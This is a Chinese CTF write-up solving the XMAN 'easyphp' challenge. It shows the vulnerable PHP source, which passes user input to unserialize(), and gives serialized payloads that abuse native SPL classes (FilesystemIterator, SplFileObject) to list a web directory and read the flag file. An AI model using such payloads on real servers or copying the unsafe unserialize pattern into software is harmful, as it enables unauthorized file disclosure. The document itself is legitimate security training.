麻了的一天,早上因为有事外出,以为选拔赛到下午六点才结束,中午一点回到家发现已经结束了,人都傻了,幸好环境没关,复现一下题目。

PHP原生类反序列化,DASCTF原题都没怎么改

看源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}

}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;

}


大概看完整个代码发现没有可以直接利用的恶意类,之后关注到了这里:

​echo new $this->class ($this->para);​

我们可以控制类与参数的值,因而确定是一个PHP原生类的反序列化,进而只需要找到合适的原生类即可实现文件读取

这里就需要介绍一下SPL库了

顾名思义,SPL就是​​Standard PHP Library​​的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的类。

因而我们可以在SPL库中找到一些有用的类:​​PHP 迭代器​

一.可遍历目录类

​DirectoryIterator​

​FilesystemIterator​

​GlobIterator​​ 与上面略不同,该类可以通过模式匹配来寻找文件路径

二.可读取文件类

​SplFileObject​​ 在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响。

三.文件系统相关扩展

​finfo​​ 该类的构造函数​​finfo::__construct​​ — 别名 ​​finfo_open()​​,也可以读取文件。

进而构造Payload:

<?php
class XMAN{
public $class='FilesystemIterator';
public $para="/var/www/html/";
}
$a = new XMAN();
echo serialize($a);


得到​​O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";}​

发现目录:​​ xxxXXXmMManNNn​

[XMAN选拔赛] easyphp_php

再检索该目录下的文件:​​O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:28:"/var/www/html/xxxXXXmMManNNn";}​

得到​​f1a4.php​​,接下来我们利用​​SplFileObject​​类读取该文件即可:

<?php
class XMAN{
public $class='SplFileObject';
public $para="/var/www/html/xxxXXXmMManNNn/f1a4.php";
}
$a = new XMAN();
echo serialize($a);


得到flag

更多关于PHP原生类反序列化的内容可以参考:

从一道CTF练习题浅谈php原生文件操作类

[DASCTF]ez_serialize-PHP 原生类的利用